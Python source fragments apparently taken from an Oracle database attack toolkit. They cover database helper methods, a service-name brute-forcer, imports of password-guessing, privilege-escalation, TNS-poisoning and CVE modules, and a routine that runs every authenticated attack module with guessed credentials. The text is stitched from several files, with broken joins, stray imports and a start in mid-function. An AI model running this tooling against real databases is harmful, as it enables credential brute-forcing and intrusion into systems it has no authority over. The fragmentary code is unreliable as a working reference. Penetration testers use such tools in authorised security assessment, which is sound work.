        Execute the request containing dbms_output  
        '''
        responsedata = ""
        cursor = cx_Oracle.Cursor(self.args['dbcon'])
        try :       
            cursor.callproc("dbms_output.enable")
            try:
                cursor.execute(request)
            except Exception as e:
                logging.info("Impossible to execute the query `{0}`: {1}".format(request, self.cleanError(e)))
                return ErrorSQLRequest(e)
            else :
                statusVar = cursor.var(cx_Oracle.NUMBER)
                lineVar = cursor.var(cx_Oracle.STRING)
                while True:
                    cursor.callproc("dbms_output.get_line", (lineVar, statusVar))
                    if statusVar.getvalue() != 0:
                        break
                    line = lineVar.getvalue()
                    if line == None : 
                        line = ''
                    responsedata += line
                    if addLineBreak == True : responsedata +='\n'
                cursor.close()
        except Exception as e: 
            logging.info("Error with the request: {0}".format(str(e)))
            return ErrorSQLRequest(e)
        return responsedata

    def __generateRandomString__(self, nb=20):
        '''
        Generate a random string of nb chars
        ''' 
        return ''.join(random.choice(string.ascii_uppercase) for x in range(nb))

    def __loadFile__(self, localFile):
        '''
        Return if it is a text file and return data stored in the localFile file
        If an error, return the error
        '''
        logging.debug("Loading the {0} file".format(localFile))
        data = ''
        try:
            f = open(localFile,'rb')
            data = f.read()
            f.close()
        except Exception as e: 
            logging.warning('Error during the read: {0}'.format(str(e)))
            return e
        return data
        
    def getStandardBarStarted(self, maxvalue):
        """Standard status bar"""
        logging.debug("Creating a standard Bar with number of values = {0}".format(maxvalue))
        return ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=maxvalue).start()

    def cleanError(self,errorMsg):
        '''
        Replace \n and \t by escape
        '''
        return str(errorMsg).replace('\n',' ').replace('\t',' ')

    def writeFile(self,nameFile, data, mode='w'):
        '''
        Write a new file named nameFile containing data
        Return True if Good, otherwise return False
        '''
        logging.info("Create the {0} file".format(nameFile))
        try:
            f = open(nameFile,mode)
            f.write(data)
            f.close()
        except Exception as e: 
            logging.warning('Error during the writing of the {0} file: {1}'.format(nameFile,self.cleanError(e)))
            return False
        return True
        
    def getDatabasePlatfromName(self):
        """
        Return platform_name string from v$database.
        It is possible the current user has not privileges on table v$database.
        Return "" if an error
        """
        platformName = ""
        REQ = "SELECT platform_name FROM v$database"
        REQ2 = "select dbms_utility.port_string from dual"
        response = self.__execQuery__(query=REQ, ld=['platform_name'])
        if isinstance(response,Exception):
            logging.debug("Impossible to get remote platform name with v$database")
            return self.getDatabasePlatfromNameWithPortString()
        else:
            if len(response)>0 and isinstance(response[0],dict):
                platformName = response[0]['platform_name']
                logging.debug("Remote platform name: {0}".format(platformName))
                return platformName
            else:
                logging.debug("Impossible to get remote platform name with  v$database")
                return platformName

    def getDatabasePlatfromNameWithPortString(self):
        """
        Return platform_name string from port_string.
        Return "" if an error
        """
        platformName = ""
        REQ = "select dbms_utility.port_string from dual"
        response = self.__execQuery__(query=REQ, ld=['platform_name'])
        if isinstance(response,Exception):
            logging.debug("Impossible to get remote platform name with port_string")
            return platformName
        else:
            if len(response)>0 and isinstance(response[0],dict):
                platformName = response[0]['platform_name']
                logging.debug("Remote platform name: {0}".format(platformName))
                return platformName
            else:
                logging.debug("Impossible to get remote platform name with port_string")
                return platformName

    def getOSFromPortString(self):
        """
        Return OS string from dbms_utility.port_string
        All users have access to this information
        The DBMS_UTILITY.port_string function returns the operating 
        system and the TWO TASK PROTOCOL version of the database.
        Return "" if an error
        """
        REQ = "SELECT dbms_utility.port_string FROM dual"
        response = self.__execQuery__(query=REQ, ld=['PORT_STRING'])
        if isinstance(response,Exception):
            return ""
        else:
            if len(response)>0 and isinstance(response[0],dict):
                return response[0]['PORT_STRING']
            else:
                return ""

    def loadInformationRemoteDatabase(self):
        '''
        Get the oracle versions
        '''
        if 'dbcon' not in self.args :
            self.remoteOS = ""
            return False
        logging.debug ("Pickup the remote verion")
        self.oracleDatabaseversion = self.args['dbcon'].version
        logging.debug("Remote database version: {0}".format(self.oracleDatabaseversion))
        logging.debug ("Pickup the remote Operating System")
        self.remoteOS = self.getDatabasePlatfromName()
        if self.remoteOS != "":
            logging.info("OS version from getDatabasePlatfromName(): {0}".format(self.remoteOS))
            return True
        self.remoteOS = self.getOSFromPortString()
        if self.remoteOS != "":
            logging.info("OS version from getOSFromPortString: {0}".format(self.remoteOS))
            return True
        REQ = "select rtrim(substr(replace(banner,'TNS for ',''),1,instr(replace(banner,'TNS for ',''),':')-1)) os from v$version where  banner like 'TNS for %'"
        response = self.__execQuery__(query=REQ,ld=['OS'])
        if isinstance(response,Exception):
            return False
        else :
            if isinstance(response,list) and len(response)>0 and isinstance(response[0],dict):
                self.remoteOS = response[0]['OS']
                logging.info("OS version : {0}".format(self.remoteOS))
                return True
            else:
                return False

    def remoteSystemIsWindows(self):    
        '''
        Return True if Windows
        select * from v$transportable_platform; can be used for get all strings possible
        '''
        if self.remoteOS == "":
            self.loadInformationRemoteDatabase()
            if self.remoteOS == "":
                logging.warning("Impossible to known the remote target OS")
        if "windows" in self.remoteOS.lower() or "win_nt" in self.remoteOS.lower(): return True
        else : return False

    def remoteSystemIsLinux(self):  
        '''
        Return True if Linux
        select * from v$transportable_platform; can be used for get all strings possible
        '''
        if self.remoteOS == "":
            self.loadInformationRemoteDatabase()
            if self.remoteOS == "":
                logging.warning("Impossible to known the remote target OS")
        if "linux" in self.remoteOS.lower() or 'solaris' in self.remoteOS.lower() : return True
        else : return False
        
    def isDBVersion(self, version=None):
        '''
        Return True if remote database version is version given in parameter
        '''
        if version in self.oracleDatabaseversion : return True
        else: return False

    def isDBVersionHigherThan11(self, version=None):
        '''
        Return True if remote database version is 11g or higher
        '''
        if self.isDBVersion('11.') or self.isDBVersion('12.') or self.isDBVersion('18.') or self.isDBVersion('19.'):
            return True
        else:
            return False

    def isDBVersionHigherThan12(self, version=None):
        '''
        Return True if remote database version is 12c or higher
        '''
        if self.isDBVersion('12.') or self.isDBVersion('18.') or self.isDBVersion('19.'):
            return True
        else:
            return False
        
    def hasThisRole(self, role, user=None):
        '''
        Returns True if user has role. Otherwise returns False
        Returns None if error
        If user = None, user = current user
        '''
        if user == None : user = self.args['user']
        self.REQ_HAS_THIS_ROLE = "SELECT username FROM user_role_privs WHERE username='{0}' and granted_role='{1}'".format(user.upper(), role)
        response = self.__execQuery__(query=self.REQ_HAS_THIS_ROLE,ld=['username'])
        if isinstance(response,Exception):
            logging.info("Impossible to know if {0} has the role {1}: {2}".format(user, role, self.cleanError(response)))
            return None
        else:
            if isinstance(response,list):
                if len(response)==0:
                    logging.debug("{0} has not the '{1}' role".format(user, role))
                    return False
                else:
                    logging.debug("{0} has the '{1}' role".format(user, role))
                    return True
            else:
                logging.info("Impossible to know if {0} has the '{1}' role".format(user, role))
                return None
                
    def hasThisPrivilege (self, privilege, user=None):
        '''
        Returns True if user has privilege. Otherwise returns False
        Returns None if error
        If user = None, user = current user
        '''
        if user == None : user = self.args['user']
        self.REQ_HAS_THIS_PRIVILEGE = "SELECT privilege FROM user_sys_privs WHERE privilege ='{0}'".format(privilege)
        response = self.__execQuery__(query=self.REQ_HAS_THIS_PRIVILEGE,ld=['privilege'])
        if isinstance(response,Exception):
            logging.info("Impossible to know if {0} has the '{1}' privilege: {2}".format(user, privilege, self.cleanError(response)))
            return None
        else:
            if isinstance(response,list):
                if len(response)==0:
                    logging.debug("{0} has not the '{1}' privilege".format(user, privilege))
                    return False
                else:
                    logging.debug("{0} has the '{1}' privilege".format(user, privilege))
                    return True
            else:
                logging.info("Impossible to know if {0} has the '{1}' privilege".format(user, privilege))
                return None
                
    def grantPrivilegeOnObjectToUser(self, privilege, objectname, user):
        '''
        Grant the privilege on objectname to user
        Returns True ifprivilege has been granted. Otherwise returns Exception
        If user = None, user = current user
        '''
        if user == None : user = self.args['user']
        REQUEST_GRANT_PRIVILEGE_ON_OBJECT_TO_USER = "GRANT {0} ON {1} TO {2}".format(privilege, objectname, user)
        logging.info("Trying to grant '{0}' privilege on '{1}' to '{2}'".format(privilege, objectname, user))
        status = self.__execPLSQL__(REQUEST_GRANT_PRIVILEGE_ON_OBJECT_TO_USER)
        if isinstance(status, Exception):
            logging.info("Impossible to grant '{0}' privilege on '{1}' to '{2}': '{3}'".format(privilege, objectname, user, self.cleanError(status)))
            return status
        else : 
            logging.debug("'{0}' privilege on '{1}' to '{2}' has been granted".format(privilege, objectname, user))
            return True
            
    def dropStoredProcedure(self, procName, schema=None):
        '''
        returns True if dropped. Otherwise returns False
        '''
        if schema==None : REQUEST_DROP_STORED_PROCEDURE = "DROP PROCEDURE {0}".format(procName)
        else: REQUEST_DROP_STORED_PROCEDURE = "DROP PROCEDURE {1}.{0}".format(procName, schema)
        logging.info("Trying to drop the stored procedure '{0}'".format(procName))
        status = self.__execPLSQL__(REQUEST_DROP_STORED_PROCEDURE)
        if isinstance(status, Exception):
            logging.info("Impossible to drop the stored procedure '{0}': '{1}'".format(procName, self.cleanError(status)))
            return False
        else : 
            logging.debug("The stored procedure '{0}' has bee dropped".format(procName))
            return True
    
    def dropStoredFunction(self, fctName, schema=None):
        '''
        returns True if dropped. Otherwise returns False
        '''
        if schema==None : REQUEST_DROP_STORED_FUNCTION = "DROP FUNCTION {0}".format(fctName)
        else: REQUEST_DROP_STORED_FUNCTION = "DROP FUNCTION {1}.{0}".format(fctName, schema)
        logging.info("Trying to drop the stored function '{0}'".format(fctName))
        status = self.__execPLSQL__(REQUEST_DROP_STORED_FUNCTION)
        if isinstance(status, Exception):
            logging.info("Impossible to drop the stored function '{0}': '{1}'".format(fctName, self.cleanError(status)))
            return False
        else : 
            logging.debug("The stored function '{0}' has bee dropped".format(fctName))
            return True
            
    def dropIndex(self, indexName, schema=None):
        '''
        returns True if dropped. Otherwise returns False
        '''
        indexName = indexName.upper()
        if schema==None : REQUEST_DROP_INDEX = "DROP INDEX {0}".format(indexName)
        else: REQUEST_DROP_INDEX = "DROP INDEX {1}.{0}".format(indexName, schema)
        logging.info("Trying to drop the index named '{0}'".format(indexName))
        status = self.__execPLSQL__(REQUEST_DROP_INDEX)
        if isinstance(status, Exception):
            logging.info("Impossible to drop the index '{0}': '{1}'".format(indexName, self.cleanError(status)))
            return False
        else : 
            logging.debug("The stored function '{0}' has been dropped".format(indexName))
            return True
            
    def dropTrigger(self, triggerName, schema=None):
        '''
        returns True if dropped. Otherwise returns False
        '''
        triggerName = triggerName.upper()
        if schema==None : REQUEST_DROP_TRIGGER = "DROP TRIGGER {0}".format(triggerName)
        else: REQUEST_DROP_TRIGGER = "DROP TRIGGER {1}.{0}".format(triggerName, schema)
        logging.info("Trying to drop the trigger named '{0}'".format(triggerName))
        status = self.__execPLSQL__(REQUEST_DROP_TRIGGER)
        if isinstance(status, Exception):
            logging.info("Impossible to drop the trigger '{0}': '{1}'".format(triggerName, self.cleanError(status)))
            return False
        else : 
            logging.debug("The trigger '{0}' has been dropped".format(triggerName))
            return True

    def isWorkingTnsListener(self):
        '''
        Returns True when the TNS listener is well configured and it can be used for connection. Otherwise, return False
        Sends a connection with an invalid login, password and SID. If TNS listener is working, the TNS listener
        should returns an error with the SID. Ib this case, the TNS listener is working. Otherwise, TNS does not work well.
        '''
        workingTNS = False
        lastServiceName = self.args['serviceName']
        self.args['serviceName'] = None
        lastSID = self.args['sid']
        self.args['sid'] = self.__generateRandomString__(nb=12)
        self.__generateConnectionString__(username=self.__generateRandomString__(nb=15),
                                          password=self.__generateRandomString__(nb=5))
        logging.debug("Checking if {0}:{1} is a working TNS listener...".format(self.args['server'], self.args['port']))
        status = self.connection(stopIfError=False)
        #We have an error, because SID is not valid
        if 'ORA-12505' in str(status):
            logging.debug("{0}:{1} is a working TNS listener according to error".format(self.args['server'], self.args['port']))
            workingTNS = True
        else:
            logging.debug("{0}:{1} is NOT a working TNS listener according to error : {2}".format(self.args['server'], self.args['port'], str(status)))
        self.close()
        self.args['sid']         = lastSID
        self.args['serviceName'] = lastServiceName
        return workingTNS def runServiceNameGuesserModule(args):
	'''
	Run the ServiceNameGuesser module
	'''
	args['print'].title("Searching valid Service Names")
	serviceNameGuesser = ServiceNameGuesser(args, args['service-name-file'], timeSleep=args['timeSleep'])
	serviceNameGuesser.loadServiceNameFromListenerAlias()
	serviceNameGuesser.searchKnownServiceNames()
	for aServiceNameSize in range(args['service-name-min-size'], args['service-name-max-size']+1):
		serviceNameGuesser.bruteforceServiceNames(size=aServiceNameSize, charset=args['service-name-charset'])
	validServiceNameList = serviceNameGuesser.getValidServiceNames()
	if validServiceNameList == []:
		args['print'].badNews("No found a valid Service Name".format(args['server'], args['port']))
	else :
		args['print'].goodNews("Service Name(s) found on the {0}:{1} server: {2}".format(args['server'], args['port'], ','.join(validServiceNameList)))
	return validServiceNameList
from sys import exit,stdout,version_info
from libnmap.parser import NmapParser
	from colorlog import ColoredFormatter
from libnmap.parser import NmapParser
from Utils import (areEquals,
				   configureLogging,
				   ErrorSQLRequest,
				   sidOrServiceNameHasBeenGiven,
				   anAccountIsGiven,
				   ipOrNameServerHasBeenGiven,
				   getCredentialsFormated,
				   getSIDorServiceNameWithType,
				   getHostsFromFile)
from Constants import *
from Output import Output
from Tnscmd import runTnsCmdModule
from UtlFile import UtlFile, runUtlFileModule
from DbmsAdvisor import DbmsAdvisor,runDbmsadvisorModule
from DbmsScheduler import DbmsScheduler,runDbmsSchedulerModule
from UtlHttp import UtlHttp,runUtlHttpModule
from HttpUriType import HttpUriType,runHttpUriTypeModule
from Java import Java,runjavaModule
from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule
from SIDGuesser import runSIDGuesserModule
from SMB import SMB, runSMBModule
from Ctxsys import Ctxsys,runCtxsysModule
from Passwords import Passwords,runPasswordsModule
from DbmsXslprocessor import DbmsXslprocessor,runDbmsXslprocessorModule
from ExternalTable import ExternalTable,runExternalTableModule
from UtlTcp import UtlTcp,runUtlTcpModule
from DbmsLob import DbmsLob,runDbmsLob
from CVE_2012_3137 import CVE_2012_3137,runCVE20123137Module
from Oradbg import Oradbg,runOradbgModule
from UsernameLikePassword import UsernameLikePassword,runUsernameLikePassword
from Search import runSearchModule
from Unwrapper import runUnwrapperModule
from PrivilegeEscalation import PrivilegeEscalation, runPrivilegeEscalationModule
from CVE_XXXX_YYYY import CVE_XXXX_YYYY, runCVEXXXYYYModule
from Tnspoison import Tnspoison, runTnsPoisonModule
from OracleDatabase import OracleDatabase
from ServiceNameGuesser import runServiceNameGuesserModule
import socket
	import argcomplete
import argparse, logging, platform, cx_Oracle, string, os, sys
			passwordGuesser = PasswordGuesser(args,
											  accountsFile=args['accounts-file'],
											  loginFile=args['accounts-files'][0],
											  passwordFile=args['accounts-files'][1],
											  timeSleep=args['timeSleep'],
											  loginAsPwd=args['login-as-pwd'],
											  bothUpperLower=args['both-upper-lower'],
											  randomOrder=args['random-order'])
			passwordGuesser.searchValideAccounts()
			validAccountsList = passwordGuesser.valideAccounts
			if validAccountsList == {}:
				args['print'].badNews("No found a valid account on {0}:{1}/{2}. You should try with the option '--accounts-file accounts/accounts_multiple.txt' or '--accounts-files accounts/logins.txt accounts/pwds.txt'".format(args['server'], args['port'], args['serviceName']))
				#exit(EXIT_NO_ACCOUNTS)
			else:
				args['print'].goodNews("Accounts found on {0}:{1}/serviceName:{2}: {3}".format(args['server'], args['port'], args['serviceName'], getCredentialsFormated(validAccountsList)))
				for aLogin, aPassword in list(validAccountsList.items()):
					if (aServiceName in connectionInformationServiceName) == False:
						connectionInformationServiceName[aServiceName] = [[aLogin, aPassword]]
					else:
						connectionInformationServiceName[aServiceName].append([aLogin, aPassword])
		if connectionInformationSID == [] and connectionInformationServiceName == []:
			args['print'].badNews("No account found with SID(s) or Service Name(s) given (or found). Impossible to continue.")
			exit(EXIT_NO_ACCOUNTS)
	else:
		logging.debug("All Module: a specific account given with user and password arguments")
		validAccountsList = {args['user']:args['password']}
		for aSid in validSIDsList:
			for aLogin, aPassword in list(validAccountsList.items()):
				if (aSid in connectionInformationSID) == False:
					connectionInformationSID[aSid] = [[aLogin,aPassword]]
				else :
					connectionInformationSID[aSid].append([aLogin,aPassword])
		for aServiceName in validServiceNameList:
			for aLogin, aPassword in list(validAccountsList.items()):
				if (aServiceName in connectionInformationServiceName) == False:
					connectionInformationServiceName[aServiceName] = [[aLogin,aPassword]]
				else :
					connectionInformationServiceName[aServiceName].append([aLogin,aPassword])

	logging.debug("All Module: Valid account(s) with a SID (connectionInformationSID): {0}".format(connectionInformationSID))
	logging.debug("All Module: Valid account(s) with a Service Name (connectionInformationServiceName): {0}".format(connectionInformationServiceName))

	#C)ALL OTHERS MODULES
	for aSid in list(connectionInformationSID.keys()):
		for loginAndPass in connectionInformationSID[aSid]:
			status = runAllAuthenticatedModules(args=args, username=loginAndPass[0], password=loginAndPass[1], sid=aSid, serviceName=None)
			# usernamelikepassword module
			args['run'] = True
			logging.info("Using last valid credentials on {0} for getting usernames and checking weak passwords".format(getSIDorServiceNameWithType(args)))
			runUsernameLikePassword(args)
	for aServiceName in list(connectionInformationServiceName.keys()):
		for loginAndPass in connectionInformationServiceName[aServiceName]:
			status = runAllAuthenticatedModules(args=args, username=loginAndPass[0], password=loginAndPass[1], sid=None, serviceName=aServiceName)
			# usernamelikepassword module
			args['run'] = True
			logging.info("Using last valid credentials on {0} for getting usernames and checking weak passwords".format(getSIDorServiceNameWithType(args)))
			runUsernameLikePassword(args)
	return True

def runAllAuthenticatedModules(args, username, password, sid=None, serviceName=None, ):
	"""
	Runs all authenticated/connected modules
	sid or serviceName has to be given.
	:return: None if an error, returns True if no problem
	"""
	if sid == None and serviceName == None:
		logging.critical("A SID or Service Name has to be given in runAllAuthenticatedModules()")
		return None
	if sid != None and serviceName != None:
		logging.warning("A SID and a Service Name are given in runAllAuthenticatedModules(). SID only is used")
	if sid != None:
		args['sid'] = sid
		args['serviceName'] = None #To be sure that sid is used for Connection String, and not Service Name
	else:
		args['serviceName'] = serviceName
		args['sid'] = None # To be sure that Service Name is used for Connection String, and not SID
	args['user'], args['password'] = username, password
	args['print'].title("Testing all authenticated modules on {0} with the {1}/{2} account".format(getSIDorServiceNameWithType(args),
																									args['user'],
																									args['password']))
	# INFO ABOUT REMOTE SERVER
	status = OracleDatabase(args).connection()
	if isinstance(status, Exception):
		args['print'].badNews("Impossible to connect to the remote database: {0}".format(str(status).replace('\n', '')))
		return None
	# UTL_HTTP
	utlHttp = UtlHttp(args)
	status = utlHttp.connection()
	utlHttp.testAll()
	# HTTPURITYPE
	httpUriType = HttpUriType(args)
	httpUriType.testAll()
	# UTL_FILE
	utlFile = UtlFile(args)
	utlFile.testAll()
	# JAVA
	java = Java(args)
	java.testAll()
	# DBMS ADVISOR
	dbmsAdvisor = DbmsAdvisor(args)
	dbmsAdvisor.testAll()
	# DBMS Scheduler
	dbmsScheduler = DbmsScheduler(args)
	dbmsScheduler.testAll()
	# CTXSYS
	ctxsys = Ctxsys(args)
	ctxsys.testAll()
	# Passwords
	passwords = Passwords(args)
	passwords.testAll()
	# DbmsXmldom
	dbmsXslprocessor = DbmsXslprocessor(args)
	dbmsXslprocessor.testAll()
	# External Table
	externalTable = ExternalTable(args)
	externalTable.testAll()
	# Oradbg
	oradbg = Oradbg(args)
	oradbg.testAll()
	# DbmsLob

	dbmsLob = DbmsLob(args)